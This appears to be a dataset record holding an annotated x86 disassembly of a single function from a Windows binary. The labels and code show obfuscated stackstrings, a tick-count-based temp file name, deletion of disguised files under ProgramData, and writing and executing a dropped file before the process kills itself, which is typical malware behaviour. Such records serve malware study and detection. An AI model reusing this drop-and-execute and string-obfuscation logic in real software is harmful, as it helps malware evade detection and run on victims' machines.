Function at 0x1000244a
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Get file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov dword [ebp - 0x2b8], ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x1002eab0
call fcn.1000241c
add esp, 8
push 0
push 0x1002eae0
call fcn.1000241c
add esp, 8
push 0
push 0x1002eb0c
call fcn.1000241c
add esp, 8
push 0
push 0x1002eb34
call fcn.1000241c
add esp, 8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:ProgramDataMicrosoftProgramxxxxxx.jpg1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1002eb88
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftProgramxxxxxx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftxxxxxx.jpg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x17c], 0x4b
mov byte [ebp - 0x17b], 0x45
mov byte [ebp - 0x17a], 0x52
mov byte [ebp - 0x179], 0x4e
mov byte [ebp - 0x178], 0x45
mov byte [ebp - 0x177], 0x4c
mov byte [ebp - 0x176], 0x33
mov byte [ebp - 0x175], 0x32
mov byte [ebp - 0x174], 0x2e
mov byte [ebp - 0x173], 0x64
mov byte [ebp - 0x172], 0x6c
mov byte [ebp - 0x171], 0x6c
mov byte [ebp - 0x170], 0
mov byte [ebp - 0x18c], 0x47
mov byte [ebp - 0x18b], 0x65
mov byte [ebp - 0x18a], 0x74
mov byte [ebp - 0x189], 0x54
mov byte [ebp - 0x188], 0x65
mov byte [ebp - 0x187], 0x6d
mov byte [ebp - 0x186], 0x70
mov byte [ebp - 0x185], 0x50
mov byte [ebp - 0x184], 0x61
mov byte [ebp - 0x183], 0x74
mov byte [ebp - 0x182], 0x68
mov byte [ebp - 0x181], 0x41
mov byte [ebp - 0x180], 0
lea ecx, [ebp - 0x18c]
push ecx
lea edx, [ebp - 0x17c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x290]
push eax
push 0x104
call dword [ebp - 0x298]
cmp dword [ebp + 0x10], 0xffffffff
jne 0x1000265f
mov byte [ebp - 0x2ac], 0x50
mov byte [ebp - 0x2ab], 0x6c
mov byte [ebp - 0x2aa], 0x75
mov byte [ebp - 0x2a9], 0x67
mov byte [ebp - 0x2a8], 0x69
mov byte [ebp - 0x2a7], 0x6e
mov byte [ebp - 0x2a6], 0x33
mov byte [ebp - 0x2a5], 0x32
mov byte [ebp - 0x2a4], 0x2e
mov byte [ebp - 0x2a3], 0x64
mov byte [ebp - 0x2a2], 0x6c
mov byte [ebp - 0x2a1], 0x6c
mov byte [ebp - 0x2a0], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.1001242b
add esp, 0xc
jmp 0x100026b1
mov byte [ebp - 0x2b4], 0x52
mov byte [ebp - 0x2b3], 0x75
mov byte [ebp - 0x2b2], 0x25
mov byte [ebp - 0x2b1], 0x64
mov byte [ebp - 0x2b0], 0x25
mov byte [ebp - 0x2af], 0x73
mov byte [ebp - 0x2ae], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x2b4]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.1001242b
add esp, 0x10
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x1002ec00
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xffffffff
jne 0x100026f8
xor eax, eax
jmp 0x100027e2
push 0
lea edx, [ebp - 0x294]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100123b0
add esp, 4
mov ecx, dword [ebp + 0xc]
sub ecx, eax
sub ecx, 1
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100123b0
add esp, 4
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 1]
push edx
mov eax, dword [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x29c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x1002ec2c
call fcn.1000241c
add esp, 8
push 0
push 0x1002ec58
call fcn.100122a7
add esp, 8
cmp eax, 0xffffffff
je 0x100027a2
push 0
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0x1002ec84
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
mov eax, dword [0x10054cc8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x10], 0xffffffff
jne 0x100027ac
xor eax, eax
jmp 0x100027e2
push 0x2e
lea ecx, [ebp - 0x290]
push ecx
call fcn.10012380
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100027ca
xor eax, eax
jmp 0x100027e2
lea edx, [ebp - 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100027e0
xor eax, eax
jmp 0x100027e2
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc